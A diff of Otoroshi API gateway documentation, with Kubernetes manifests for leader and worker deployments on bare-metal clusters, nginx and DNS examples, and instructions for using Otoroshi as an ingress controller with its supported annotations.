+          - name: CLUSTER_MTLS_LOOSE
+            value: 'true'
+          - name: CLUSTER_MTLS_TRUST_ALL
+            value: 'true'
+          - name: CLUSTER_LEADER_URL
+            value: https://otoroshi-leader-api-service.${namespace}.svc.cluster.local:8443
+          - name: CLUSTER_LEADER_HOST
+            value: otoroshi-leader-api-service.${namespace}.svc.cluster.local
+          - name: ADMIN_API_ADDITIONAL_EXPOSED_DOMAIN
+            value: otoroshi-leader-api-service.${namespace}.svc.cluster.local
+          - name: ADMIN_API_CLIENT_ID
+            value: ${clientId}
+          - name: CLUSTER_LEADER_CLIENT_ID
+            value: ${clientId}
+          - name: ADMIN_API_CLIENT_SECRET
+            value: ${clientSecret}
+          - name: CLUSTER_LEADER_CLIENT_SECRET
+            value: ${clientSecret}
+          - name: OTOROSHI_SECRET
+            value: ${otoroshiSecret}
+          - name: HEALTH_LIMIT
+            value: "5000"
+          - name: SSL_OUTSIDE_CLIENT_AUTH
+            value: Want
+          - name: HTTPS_WANT_CLIENT_AUTH
+            value: "true"
+          - name: OTOROSHI_INITIAL_CUSTOMIZATION
+            value: >
+              {
+                "config":{
+                  "tlsSettings": {
+                    "defaultDomain": "www.${domain}",
+                    "randomIfNotFound": false
+                  },
+                  "scripts":{
+                    "enabled":true,
+                    "sinkRefs":[
+                      "cp:otoroshi.plugins.jobs.kubernetes.KubernetesAdmissionWebhookCRDValidator",
+                      "cp:otoroshi.plugins.jobs.kubernetes.KubernetesAdmissionWebhookSidecarInjector"
+                    ],
+                    "sinkConfig": {},
+                    "jobRefs":[
+                      "cp:otoroshi.plugins.jobs.kubernetes.KubernetesOtoroshiCRDsControllerJob"
+                    ],
+                    "jobConfig":{
+                      "KubernetesConfig": {
+                        "trust": false,
+                        "namespaces": [
+                          "*"
+                        ],
+                        "labels": {},
+                        "namespacesLabels": {},
+                        "ingressClasses": [
+                          "otoroshi"
+                        ],
+                        "defaultGroup": "default",
+                        "ingresses": false,
+                        "crds": true,
+                        "coreDnsIntegration": false,
+                        "coreDnsIntegrationDryRun": false,
+                        "kubeLeader": false,
+                        "restartDependantDeployments": false,
+                        "watch": false,
+                        "syncDaikokuApikeysOnly": false,
+                        "kubeSystemNamespace": "kube-system",
+                        "coreDnsConfigMapName": "coredns",
+                        "coreDnsDeploymentName": "coredns",
+                        "corednsPort": 53,
+                        "otoroshiServiceName": "otoroshi-worker-service",
+                        "otoroshiNamespace": "${namespace}",
+                        "clusterDomain": "cluster.local",
+                        "syncIntervalSeconds": 60,
+                        "coreDnsEnv": null,
+                        "watchTimeoutSeconds": 60,
+                        "watchGracePeriodSeconds": 5,
+                        "mutatingWebhookName": "otoroshi-admission-webhook-injector",
+                        "validatingWebhookName": "otoroshi-admission-webhook-validation",
+                        "templates": {
+                          "service-group": {},
+                          "service-descriptor": {},
+                          "apikeys": {},
+                          "global-config": {},
+                          "jwt-verifier": {},
+                          "tcp-service": {},
+                          "certificate": {},
+                          "auth-module": {},
+                          "script": {},
+                          "organizations": {},
+                          "teams": {},
+                          "webhooks": {
+                            "flags": {
+                              "requestCert": true,
+                              "originCheck": true,
+                              "tokensCheck": true,
+                              "displayEnv": false,
+                              "tlsTrace": false
+                            }
+                          }
+                        }
+                      }
+                    }
+                  }
+                }
+              }  
+          - name: JAVA_OPTS
+            value: '-Xms2g -Xmx4g -XX:+UseContainerSupport -XX:MaxRAMPercentage=80.0'
+        readinessProbe:
+          httpGet:
+            path: /ready
+            port: 8080
+          failureThreshold: 1
+          initialDelaySeconds: 10
+          periodSeconds: 10
+          successThreshold: 1
+          timeoutSeconds: 2
+        livenessProbe:
+          httpGet:
+            path: /live
+            port: 8080
+          failureThreshold: 3
+          initialDelaySeconds: 10
+          periodSeconds: 10
+          successThreshold: 1
+          timeoutSeconds: 2
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: otoroshi-worker-deployment
+spec:
+  selector:
+    matchLabels:
+      run: otoroshi-worker-deployment
+  template:
+    metadata:
+      labels:
+        run: otoroshi-worker-deployment
+    replicas: 2
+    strategy:
+      type: RollingUpdate
+      rollingUpdate:
+        maxUnavailable: 1
+        maxSurge: 1
+    spec:
+      serviceAccountName: otoroshi-admin-user
+      terminationGracePeriodSeconds: 60
+      hostNetwork: false
+      restartPolicy: Always   
+      containers:
+      - image: maif/otoroshi:16.15.4-dev-dev
+        imagePullPolicy: IfNotPresent
+        name: otoroshi-worker
+        ports:
+          - containerPort: 8080
+            name: "http"
+            protocol: TCP
+          - containerPort: 8443
+            name: "https"
+            protocol: TCP
+        env:
+          - name: APP_STORAGE_ROOT
+            value: otoroshi
+          - name: OTOROSHI_INITIAL_ADMIN_PASSWORD
+            value: ${password}
+          - name: APP_DOMAIN
+            value: ${domain}
+          - name: CLUSTER_MODE
+            value: Worker
+          - name: CLUSTER_AUTO_UPDATE_STATE
+            value: 'true'
+          - name: CLUSTER_MTLS_ENABLED
+            value: 'true'
+          - name: CLUSTER_MTLS_LOOSE
+            value: 'true'
+          - name: CLUSTER_MTLS_TRUST_ALL
+            value: 'true'
+          - name: CLUSTER_LEADER_URL
+            value: https://otoroshi-leader-api-service.${namespace}.svc.cluster.local:8443
+          - name: CLUSTER_LEADER_HOST
+            value: otoroshi-leader-api-service.${namespace}.svc.cluster.local
+          - name: ADMIN_API_ADDITIONAL_EXPOSED_DOMAIN
+            value: otoroshi-leader-api-service.${namespace}.svc.cluster.local
+          - name: ADMIN_API_CLIENT_ID
+            value: ${clientId}
+          - name: CLUSTER_LEADER_CLIENT_ID
+            value: ${clientId}
+          - name: ADMIN_API_CLIENT_SECRET
+            value: ${clientSecret}
+          - name: CLUSTER_LEADER_CLIENT_SECRET
+            value: ${clientSecret}
+          - name: HEALTH_LIMIT
+            value: "5000"
+          - name: SSL_OUTSIDE_CLIENT_AUTH
+            value: Want
+          - name: HTTPS_WANT_CLIENT_AUTH
+            value: "true"
+          - name: JAVA_OPTS
+            value: '-Xms2g -Xmx4g -XX:+UseContainerSupport -XX:MaxRAMPercentage=80.0'
+        readinessProbe:
+          httpGet:
+            path: /ready
+            port: 8080
+          failureThreshold: 1
+          initialDelaySeconds: 60
+          periodSeconds: 10
+          successThreshold: 1
+          timeoutSeconds: 2
+        livenessProbe:
+          httpGet:
+            path: /live
+            port: 8080
+          failureThreshold: 3
+          initialDelaySeconds: 60
+          periodSeconds: 10
+          successThreshold: 1
+          timeoutSeconds: 2
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: otoroshi-leader-api-service
+spec:
+  selector:
+    run: otoroshi-leader-deployment
+  ports:
+  - port: 8080
+    name: "http"
+    targetPort: "http"
+  - port: 8443
+    name: "https"
+    targetPort: "https"
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: otoroshi-leader-service
+spec:
+  selector:
+    run: otoroshi-leader-deployment
+  ports:
+  - port: 8080
+    nodePort: 31080
+    name: "http"
+    targetPort: "http"
+  - port: 8443
+    nodePort: 31443
+    name: "https"
+    targetPort: "https"
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: otoroshi-worker-service
+spec:
+  selector:
+    run: otoroshi-worker-deployment
+  ports:
+  - port: 8080
+    nodePort: 32080
+    name: "http"
+    targetPort: "http"
+  - port: 8443
+    nodePort: 32443
+    name: "https"
+    targetPort: "https"
+---
+apiVersion: proxy.otoroshi.io/v1
+kind: Certificate
+metadata:
+  name: otoroshi-service-certificate
+spec:
+  description: certificate for otoroshi-service
+  autoRenew: true
+  csr:
+    issuer: CN=Otoroshi Root
+    hosts: 
+    - otoroshi-service
+    - otoroshi-service.${namespace}.svc.cluster.local
+    - otoroshi-api-service.${namespace}.svc.cluster.local
+    - otoroshi.${domain}
+    - otoroshi-api.${domain}
+    - privateapps.${domain}
+    key:
+      algo: rsa
+      size: 2048
+    subject: uid=otoroshi-service-cert, O=Otoroshi
+    client: false
+    ca: false
+    duration: 31536000000
+    signatureAlg: SHA256WithRSAEncryption
+    digestAlg: SHA-256
+
nginx.example +
+
+
stream {
+
+  upstream worker_http_nodes {
+    zone worker_http_nodes 64k;
+    server 10.2.2.40:32080 max_fails=1;
+    server 10.2.2.41:32080 max_fails=1;
+    server 10.2.2.42:32080 max_fails=1;
+  }
+
+  upstream worker_https_nodes {
+    zone worker_https_nodes 64k;
+    server 10.2.2.40:32443 max_fails=1;
+    server 10.2.2.41:32443 max_fails=1;
+    server 10.2.2.42:32443 max_fails=1;
+  }
+
+  upstream leader_http_nodes {
+    zone leader_http_nodes 64k;
+    server 10.2.2.40:31080 max_fails=1;
+    server 10.2.2.41:31080 max_fails=1;
+    server 10.2.2.42:31080 max_fails=1;
+  }
+
+  upstream leader_https_nodes {
+    zone leader_https_nodes 64k;
+    server 10.2.2.40:31443 max_fails=1;
+    server 10.2.2.41:31443 max_fails=1;
+    server 10.2.2.42:31443 max_fails=1;
+  }
+
+  server {
+    listen     80;
+    proxy_pass worker_http_nodes;
+    health_check;
+  }
+
+  server {
+    listen     443;
+    proxy_pass worker_https_nodes;
+    health_check;
+  }
+
+  server {
+    listen     81;
+    proxy_pass leader_http_nodes;
+    health_check;
+  }
+
+  server {
+    listen     444;
+    proxy_pass leader_https_nodes;
+    health_check;
+  }
+  
+}
+
dns.example +
+
+
# if your loadbalancer is at ip address 10.2.2.50
+
+otoroshi.your.otoroshi.domain      IN A 10.2.2.50
+otoroshi-api.your.otoroshi.domain  IN A 10.2.2.50
+privateapps.your.otoroshi.domain   IN A 10.2.2.50
+api1.another.domain                IN A 10.2.2.50
+api2.another.domain                IN A 10.2.2.50
+*.api.the.api.domain               IN A 10.2.2.50
+
dns.example +
+
+
# if your loadbalancer is at ip address 10.2.2.50
+
+otoroshi.your.otoroshi.domain      IN A 10.2.2.50
+otoroshi-api.your.otoroshi.domain  IN A 10.2.2.50
+privateapps.your.otoroshi.domain   IN A 10.2.2.50
+api1.another.domain                IN A 10.2.2.50
+api2.another.domain                IN A 10.2.2.50
+*.api.the.api.domain               IN A 10.2.2.50
+
+

Deploy an otoroshi cluster on a bare metal kubernetes cluster using DaemonSet

+

Here we have 1 otoroshi leader instance on each kubernetes node (with the otoroshi-kind: leader label) connected to the same redis instance and 1 otoroshi worker instance on each kubernetes node (with the otoroshi-kind: worker label). The otoroshi instances are exposed as nodePort so you’ll have to add a loadbalancer in front of your kubernetes nodes to route external traffic (TCP) to your otoroshi instances. You have to setup your DNS to bind otoroshi domain names to your loadbalancer (see the example below).

+
+
deployment.yaml +
+
+
---
+apiVersion: apps/v1
+kind: DaemonSet
+metadata:
+  name: otoroshi-leader-deployment
+spec:
+  selector:
+    matchLabels:
+      run: otoroshi-leader-deployment
+  template:
+    metadata:
+      labels:
+        run: otoroshi-leader-deployment
+    strategy:
+      type: RollingUpdate
+      rollingUpdate:
+        maxUnavailable: 1
+        maxSurge: 1
+    spec:
+      affinity:
+        nodeAffinity:
+          requiredDuringSchedulingIgnoredDuringExecution:
+            nodeSelectorTerms:
+            - matchExpressions:
+              - key: otoroshi-kind
+                operator: In
+                values:
+                - leader
+      tolerations:
+      - key: node-role.kubernetes.io/master
+        effect: NoSchedule
+      serviceAccountName: otoroshi-admin-user
+      terminationGracePeriodSeconds: 60
+      hostNetwork: false
+      restartPolicy: Always
+      containers:
+      - image: maif/otoroshi:16.15.4-jdk11
+        imagePullPolicy: IfNotPresent
+        name: otoroshi-leader
+        ports:
+          - containerPort: 8080
+            hostPort: 41080
+            name: "http"
+            protocol: TCP
+          - containerPort: 8443
+            hostPort: 41443
+            name: "https"
+            protocol: TCP
+        env:
+          - name: APP_STORAGE_ROOT
+            value: otoroshi
+          - name: OTOROSHI_INITIAL_ADMIN_PASSWORD
+            value: ${password}
+          - name: APP_DOMAIN
+            value: ${domain}
+          - name: APP_STORAGE
+            value: lettuce
+          - name: REDIS_URL
+            value: ${redisUrl}
+            # value: redis://redis-leader-service:6379/0
+          - name: CLUSTER_MODE
+            value: Leader
+          - name: CLUSTER_AUTO_UPDATE_STATE
+            value: 'true'
+          - name: CLUSTER_MTLS_ENABLED
+            value: 'true'
+          - name: CLUSTER_MTLS_LOOSE
+            value: 'true'
+          - name: CLUSTER_MTLS_TRUST_ALL
+            value: 'true'
+          - name: CLUSTER_LEADER_URL
+            value: https://otoroshi-leader-api-service.${namespace}.svc.cluster.local:8443
+          - name: CLUSTER_LEADER_HOST
+            value: otoroshi-leader-api-service.${namespace}.svc.cluster.local
+          - name: ADMIN_API_ADDITIONAL_EXPOSED_DOMAIN
+            value: otoroshi-leader-api-service.${namespace}.svc.cluster.local
+          - name: ADMIN_API_CLIENT_ID
+            value: ${clientId}
+          - name: CLUSTER_LEADER_CLIENT_ID
+            value: ${clientId}
+          - name: ADMIN_API_CLIENT_SECRET
+            value: ${clientSecret}
+          - name: CLUSTER_LEADER_CLIENT_SECRET
+            value: ${clientSecret}
+          - name: OTOROSHI_SECRET
+            value: ${otoroshiSecret}
+          - name: HEALTH_LIMIT
+            value: "5000"
+          - name: SSL_OUTSIDE_CLIENT_AUTH
+            value: Want
+          - name: HTTPS_WANT_CLIENT_AUTH
+            value: "true"
+          - name: OTOROSHI_INITIAL_CUSTOMIZATION
+            value: >
+              {
+                "config":{
+                  "tlsSettings": {
+                    "defaultDomain": "www.${domain}",
+                    "randomIfNotFound": false
+                  },
+                  "scripts":{
+                    "enabled":true,
+                    "sinkRefs":[
+                      "cp:otoroshi.plugins.jobs.kubernetes.KubernetesAdmissionWebhookCRDValidator",
+                      "cp:otoroshi.plugins.jobs.kubernetes.KubernetesAdmissionWebhookSidecarInjector"
+                    ],
+                    "sinkConfig": {},
+                    "jobRefs":[
+                      "cp:otoroshi.plugins.jobs.kubernetes.KubernetesOtoroshiCRDsControllerJob"
+                    ],
+                    "jobConfig":{
+                      "KubernetesConfig": {
+                        "trust": false,
+                        "namespaces": [
+                          "*"
+                        ],
+                        "labels": {},
+                        "namespacesLabels": {},
+                        "ingressClasses": [
+                          "otoroshi"
+                        ],
+                        "defaultGroup": "default",
+                        "ingresses": false,
+                        "crds": true,
+                        "coreDnsIntegration": false,
+                        "coreDnsIntegrationDryRun": false,
+                        "kubeLeader": false,
+                        "restartDependantDeployments": false,
+                        "watch": false,
+                        "syncDaikokuApikeysOnly": false,
+                        "kubeSystemNamespace": "kube-system",
+                        "coreDnsConfigMapName": "coredns",
+                        "coreDnsDeploymentName": "coredns",
+                        "corednsPort": 53,
+                        "otoroshiServiceName": "otoroshi-worker-service",
+                        "otoroshiNamespace": "${namespace}",
+                        "clusterDomain": "cluster.local",
+                        "syncIntervalSeconds": 60,
+                        "coreDnsEnv": null,
+                        "watchTimeoutSeconds": 60,
+                        "watchGracePeriodSeconds": 5,
+                        "mutatingWebhookName": "otoroshi-admission-webhook-injector",
+                        "validatingWebhookName": "otoroshi-admission-webhook-validation",
+                        "templates": {
+                          "service-group": {},
+                          "service-descriptor": {},
+                          "apikeys": {},
+                          "global-config": {},
+                          "jwt-verifier": {},
+                          "tcp-service": {},
+                          "certificate": {},
+                          "auth-module": {},
+                          "script": {},
+                          "organizations": {},
+                          "teams": {},
+                          "webhooks": {
+                            "flags": {
+                              "requestCert": true,
+                              "originCheck": true,
+                              "tokensCheck": true,
+                              "displayEnv": false,
+                              "tlsTrace": false
+                            }
+                          }
+                        }
+                      }
+                    }
+                  }
+                }
+              }  
+          - name: JAVA_OPTS
+            value: '-Xms2g -Xmx4g -XX:+UseContainerSupport -XX:MaxRAMPercentage=80.0'
+        readinessProbe:
+          httpGet:
+            path: /ready
+            port: 8080
+          failureThreshold: 1
+          initialDelaySeconds: 60
+          periodSeconds: 10
+          successThreshold: 1
+          timeoutSeconds: 2
+        livenessProbe:
+          httpGet:
+            path: /live
+            port: 8080
+          failureThreshold: 3
+          initialDelaySeconds: 60
+          periodSeconds: 10
+          successThreshold: 1
+          timeoutSeconds: 2
+---
+apiVersion: apps/v1
+kind: DaemonSet
+metadata:
+  name: otoroshi-worker-deployment
+spec:
+  selector:
+    matchLabels:
+      run: otoroshi-worker-deployment
+  template:
+    metadata:
+      labels:
+        run: otoroshi-worker-deployment
+    replicas: 2
+    strategy:
+      type: RollingUpdate
+      rollingUpdate:
+        maxUnavailable: 1
+        maxSurge: 1
+    spec:
+      affinity:
+        nodeAffinity:
+          requiredDuringSchedulingIgnoredDuringExecution:
+            nodeSelectorTerms:
+            - matchExpressions:
+              - key: otoroshi-kind
+                operator: In
+                values:
+                - worker
+      tolerations:
+      - key: node-role.kubernetes.io/master
+        effect: NoSchedule
+      serviceAccountName: otoroshi-admin-user
+      terminationGracePeriodSeconds: 60
+      hostNetwork: false
+      restartPolicy: Always   
+      containers:
+      - image: maif/otoroshi:16.15.4-dev-dev
+        imagePullPolicy: IfNotPresent
+        name: otoroshi-worker
+        ports:
+          - containerPort: 8080
+            hostPort: 42080
+            name: "http"
+            protocol: TCP
+          - containerPort: 8443
+            hostPort: 42443
+            name: "https"
+            protocol: TCP
+        env:
+          - name: APP_STORAGE_ROOT
+            value: otoroshi
+          - name: OTOROSHI_INITIAL_ADMIN_PASSWORD
+            value: ${password}
+          - name: APP_DOMAIN
+            value: ${domain}
+          - name: CLUSTER_MODE
+            value: Worker
+          - name: CLUSTER_AUTO_UPDATE_STATE
+            value: 'true'
+          - name: CLUSTER_MTLS_ENABLED
+            value: 'true'
+          - name: CLUSTER_MTLS_LOOSE
+            value: 'true'
+          - name: CLUSTER_MTLS_TRUST_ALL
+            value: 'true'
+          - name: CLUSTER_LEADER_URL
+            value: https://otoroshi-leader-api-service.${namespace}.svc.cluster.local:8443
+          - name: CLUSTER_LEADER_HOST
+            value: otoroshi-leader-api-service.${namespace}.svc.cluster.local
+          - name: ADMIN_API_ADDITIONAL_EXPOSED_DOMAIN
+            value: otoroshi-leader-api-service.${namespace}.svc.cluster.local
+          - name: ADMIN_API_CLIENT_ID
+            value: ${clientId}
+          - name: CLUSTER_LEADER_CLIENT_ID
+            value: ${clientId}
+          - name: ADMIN_API_CLIENT_SECRET
+            value: ${clientSecret}
+          - name: CLUSTER_LEADER_CLIENT_SECRET
+            value: ${clientSecret}
+          - name: HEALTH_LIMIT
+            value: "5000"
+          - name: SSL_OUTSIDE_CLIENT_AUTH
+            value: Want
+          - name: HTTPS_WANT_CLIENT_AUTH
+            value: "true"
+          - name: JAVA_OPTS
+            value: '-Xms2g -Xmx4g -XX:+UseContainerSupport -XX:MaxRAMPercentage=80.0'
+        readinessProbe:
+          httpGet:
+            path: /ready
+            port: 8080
+          failureThreshold: 1
+          initialDelaySeconds: 60
+          periodSeconds: 10
+          successThreshold: 1
+          timeoutSeconds: 2
+        livenessProbe:
+          httpGet:
+            path: /live
+            port: 8080
+          failureThreshold: 3
+          initialDelaySeconds: 60
+          periodSeconds: 10
+          successThreshold: 1
+          timeoutSeconds: 2
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: otoroshi-leader-api-service
+spec:
+  selector:
+    run: otoroshi-leader-deployment
+  ports:
+  - port: 8080
+    name: "http"
+    targetPort: "http"
+  - port: 8443
+    name: "https"
+    targetPort: "https"
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: otoroshi-leader-service
+spec:
+  selector:
+    run: otoroshi-leader-deployment
+  ports:
+  - port: 8080
+    name: "http"
+    targetPort: "http"
+  - port: 8443
+    name: "https"
+    targetPort: "https"
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: otoroshi-worker-service
+spec:
+  selector:
+    run: otoroshi-worker-deployment
+  ports:
+  - port: 8080
+    name: "http"
+    targetPort: "http"
+  - port: 8443
+    name: "https"
+    targetPort: "https"
+---
+apiVersion: proxy.otoroshi.io/v1
+kind: Certificate
+metadata:
+  name: otoroshi-service-certificate
+spec:
+  description: certificate for otoroshi-service
+  autoRenew: true
+  csr:
+    issuer: CN=Otoroshi Root
+    hosts: 
+    - otoroshi-service
+    - otoroshi-service.${namespace}.svc.cluster.local
+    - otoroshi-api-service.${namespace}.svc.cluster.local
+    - otoroshi.${domain}
+    - otoroshi-api.${domain}
+    - privateapps.${domain}
+    key:
+      algo: rsa
+      size: 2048
+    subject: uid=otoroshi-service-cert, O=Otoroshi
+    client: false
+    ca: false
+    duration: 31536000000
+    signatureAlg: SHA256WithRSAEncryption
+    digestAlg: SHA-256
+
nginx.example +
+
+
stream {
+
+  upstream worker_http_nodes {
+    zone worker_http_nodes 64k;
+    server 10.2.2.40:42080 max_fails=1;
+    server 10.2.2.41:42080 max_fails=1;
+    server 10.2.2.42:42080 max_fails=1;
+  }
+
+  upstream worker_https_nodes {
+    zone worker_https_nodes 64k;
+    server 10.2.2.40:42443 max_fails=1;
+    server 10.2.2.41:42443 max_fails=1;
+    server 10.2.2.42:42443 max_fails=1;
+  }
+
+  upstream leader_http_nodes {
+    zone leader_http_nodes 64k;
+    server 10.2.2.40:41080 max_fails=1;
+    server 10.2.2.41:41080 max_fails=1;
+    server 10.2.2.42:41080 max_fails=1;
+  }
+
+  upstream leader_https_nodes {
+    zone leader_https_nodes 64k;
+    server 10.2.2.40:41443 max_fails=1;
+    server 10.2.2.41:41443 max_fails=1;
+    server 10.2.2.42:41443 max_fails=1;
+  }
+
+  server {
+    listen     80;
+    proxy_pass worker_http_nodes;
+    health_check;
+  }
+
+  server {
+    listen     443;
+    proxy_pass worker_https_nodes;
+    health_check;
+  }
+
+  server {
+    listen     81;
+    proxy_pass leader_http_nodes;
+    health_check;
+  }
+
+  server {
+    listen     444;
+    proxy_pass leader_https_nodes;
+    health_check;
+  }
+  
+}
+
dns.example +
+
+
# if your loadbalancer is at ip address 10.2.2.50
+
+otoroshi.your.otoroshi.domain      IN A 10.2.2.50
+otoroshi-api.your.otoroshi.domain  IN A 10.2.2.50
+privateapps.your.otoroshi.domain   IN A 10.2.2.50
+api1.another.domain                IN A 10.2.2.50
+api2.another.domain                IN A 10.2.2.50
+*.api.the.api.domain               IN A 10.2.2.50
+
dns.example +
+
+
# if your loadbalancer is at ip address 10.2.2.50
+
+otoroshi.your.otoroshi.domain      IN A 10.2.2.50
+otoroshi-api.your.otoroshi.domain  IN A 10.2.2.50
+privateapps.your.otoroshi.domain   IN A 10.2.2.50
+api1.another.domain                IN A 10.2.2.50
+api2.another.domain                IN A 10.2.2.50
+*.api.the.api.domain               IN A 10.2.2.50
+
+

Using Otoroshi as an Ingress Controller

+

If you want to use Otoroshi as an Ingress Controller, just go to the danger zone, and in Global scripts add the job named Kubernetes Ingress Controller.

+

Then add the following configuration for the job (with your own tweaks of course)

+
{
+  "KubernetesConfig": {
+    "enabled": true,
+    "endpoint": "https://127.0.0.1:6443",
+    "token": "eyJhbGciOiJSUzI....F463SrpOehQRaQ",
+    "namespaces": [
+      "*"
+    ]
+  }
+}
+
+

the configuration can have the following values

+
{
+  "KubernetesConfig": {
+    "endpoint": "https://127.0.0.1:6443", // the endpoint to talk to the kubernetes api, optional
+    "token": "xxxx", // the bearer token to talk to the kubernetes api, optional
+    "userPassword": "user:password", // the user password tuple to talk to the kubernetes api, optional
+    "caCert": "/etc/ca.cert", // the ca cert file path to talk to the kubernetes api, optional
+    "trust": false, // trust any cert to talk to the kubernetes api, optional
+    "namespaces": ["*"], // the watched namespaces
+    "labels": ["label"], // the watched namespaces
+    "ingressClasses": ["otoroshi"], // the watched kubernetes.io/ingress.class annotations, can be *
+    "defaultGroup": "default", // the group to put services in otoroshi
+    "ingresses": true, // sync ingresses
+    "crds": false, // sync crds
+    "kubeLeader": false, // delegate leader election to kubernetes, to know where the sync job should run
+    "restartDependantDeployments": true, // when a secret/cert changes from otoroshi sync, restart dependant deployments
+    "templates": { // template for entities that will be merged with kubernetes entities. can be "default" to use otoroshi default templates
+      "service-group": {},
+      "service-descriptor": {},
+      "apikeys": {},
+      "global-config": {},
+      "jwt-verifier": {},
+      "tcp-service": {},
+      "certificate": {},
+      "auth-module": {},
+      "data-exporter": {},
+      "script": {},
+      "organization": {},
+      "team": {},
+      "data-exporter": {},
+      "routes": {},
+      "route-compositions": {},
+      "backends": {}
+    }
+  }
+}
+
+

If endpoint is not defined, Otoroshi will try to get it from $KUBERNETES_SERVICE_HOST and $KUBERNETES_SERVICE_PORT. If token is not defined, Otoroshi will try to get it from the file at /var/run/secrets/kubernetes.io/serviceaccount/token. If caCert is not defined, Otoroshi will try to get it from the file at /var/run/secrets/kubernetes.io/serviceaccount/ca.crt. If $KUBECONFIG is defined, endpoint, token and caCert will be read from the current context of the file referenced by it.

+

Now you can deploy your first service ;)

+

Deploy an ingress route

+

now let’s say you want to deploy an http service and route to the outside world through otoroshi

+
---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: http-app-deployment
+spec:
+  selector:
+    matchLabels:
+      run: http-app-deployment
+  replicas: 1
+  template:
+    metadata:
+      labels:
+        run: http-app-deployment
+    spec:
+      containers:
+      - image: kennethreitz/httpbin
+        imagePullPolicy: IfNotPresent
+        name: otoroshi
+        ports:
+          - containerPort: 80
+            name: "http"
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: http-app-service
+spec:
+  ports:
+    - port: 8080
+      targetPort: http
+      name: http
+  selector:
+    run: http-app-deployment
+---
+apiVersion: networking.k8s.io/v1beta1
+kind: Ingress
+metadata:
+  name: http-app-ingress
+  annotations:
+    kubernetes.io/ingress.class: otoroshi
+spec:
+  tls:
+  - hosts:
+    - httpapp.foo.bar
+    secretName: http-app-cert
+  rules:
+  - host: httpapp.foo.bar
+    http:
+      paths:
+      - path: /
+        backend:
+          serviceName: http-app-service
+          servicePort: 8080
+
+

once deployed, otoroshi will sync with kubernetes and create the corresponding service to route your app. You will be able to access your app with

+
curl -X GET https://httpapp.foo.bar/get
+
+

Support for Ingress Classes

+

Since Kubernetes 1.18, you can use IngressClass type of manifest to specify which ingress controller you want to use for a deployment (https://kubernetes.io/blog/2020/04/02/improvements-to-the-ingress-api-in-kubernetes-1.18/#extended-configuration-with-ingress-classes). Otoroshi is fully compatible with this new manifest kind. To use it, configure the Ingress job to match your controller

+
{
+  "KubernetesConfig": {
+    ...
+    "ingressClasses": ["otoroshi.io/ingress-controller"],
+    ...
+  }
+}
+
+

then you have to deploy an IngressClass to declare Otoroshi as an ingress controller

+
apiVersion: "networking.k8s.io/v1beta1"
+kind: "IngressClass"
+metadata:
+  name: "otoroshi-ingress-controller"
+spec:
+  controller: "otoroshi.io/ingress-controller"
+  parameters:
+    apiGroup: "proxy.otoroshi.io/v1alpha"
+    kind: "IngressParameters"
+    name: "otoroshi-ingress-controller"
+
+

and use it in your Ingress

+
apiVersion: networking.k8s.io/v1beta1
+kind: Ingress
+metadata:
+  name: http-app-ingress
+spec:
+  ingressClassName: otoroshi-ingress-controller
+  tls:
+  - hosts:
+    - httpapp.foo.bar
+    secretName: http-app-cert
+  rules:
+  - host: httpapp.foo.bar
+    http:
+      paths:
+      - path: /
+        backend:
+          serviceName: http-app-service
+          servicePort: 8080
+
+

Use multiple ingress controllers

+

It is of course possible to use multiple ingress controller at the same time (https://kubernetes.io/docs/concepts/services-networking/ingress-controllers/#using-multiple-ingress-controllers) using the annotation kubernetes.io/ingress.class. By default, otoroshi reacts to the class otoroshi, but you can make it the default ingress controller with the following config

+
{
+  "KubernetesConfig": {
+    ...
+    "ingressClass": "*",
+    ...
+  }
+}
+
+

Supported annotations

+

if you need to customize the service descriptor behind an ingress rule, you can use some annotations. If you need better customisation, just go to the CRDs part. The following annotations are supported :

+
    +
  • ingress.otoroshi.io/groups
  • +
  • ingress.otoroshi.io/group
  • +
  • ingress.otoroshi.io/groupId
  • +
  • ingress.otoroshi.io/name
  • +
  • ingress.otoroshi.io/targetsLoadBalancing
  • +
  • ingress.otoroshi.io/stripPath
  • +
  • ingress.otoroshi.io/enabled
  • +
  • ingress.otoroshi.io/userFacing
  • +
  • ingress.otoroshi.io/privateApp
  • +
  • ingress.otoroshi.io/forceHttps
  • +
  • ingress.otoroshi.io/maintenanceMode
  • +
  • ingress.otoroshi.io/buildMode
  • +
  • ingress.otoroshi.io/strictlyPrivate
  • +
  • ingress.otoroshi.io/sendOtoroshiHeadersBack
  • +
  • ingress.otoroshi.io/readOnly
  • +
  • ingress.otoroshi.io/xForwardedHeaders
  • +
  • ingress.otoroshi.io/overrideHost
  • +
  • ingress.otoroshi.io/allowHttp10
  • +
  • ingress.otoroshi.io/logAnalyticsOnServer
  • +
  • ingress.otoroshi.io/useAkkaHttpClient
  • +
  • ingress.otoroshi.io/useNewWSClient
  • +
  • ingress.otoroshi.io/tcpUdpTunneling
  • +
  • ingress.otoroshi.io/detectApiKeySooner
  • +
  • ingress.otoroshi.io/letsEncrypt
  • +
  • ingress.otoroshi.io/publicPatterns
  • +
  • ingress.otoroshi.io/privatePatterns
  • +
  • ingress.otoroshi.io/additionalHeaders
  • +
  • ingress.otoroshi.io/additionalHeadersOut
  • +
  • ingress.otoroshi.io/missingOnlyHeadersIn
  • +
  • ingress.otoroshi.io/missingOnlyHeadersOut
  • +
  • ingress.otoroshi.io/removeHeadersIn
  • +
  • ingress.otoroshi.io/removeHeadersOut
  • +
  • ingress.otoroshi.io/headersVerification
  • +
  • ingress.otoroshi.io/matchingHeaders
  • +
  • ingress.otoroshi.io/ipFiltering.whitelist
  • +
  • ingress.otoroshi.io/ipFiltering.blacklist
  • +
  • ingress.otoroshi.io/api.exposeApi
  • +
  • ingress.otoroshi.io/api.openApiDescriptorUrl
  • +
  • ingress.otoroshi.io/healthCheck.enabled
  • +
  • ingress.otoroshi.io/healthCheck.url
  • +
  • ingress.otoroshi.io/jwtVerifier.ids
  • +
  • ingress.otoroshi.io/jwtVerifier.enabled
  • +
  • ingress.otoroshi.io/jwtVerifier.excludedPatterns
  • +
  • ingress.otoroshi.io/authConfigRef
  • +
  • ingress.otoroshi.io/redirection.enabled
  • +
  • ingress.otoroshi.io/redirection.code
  • +
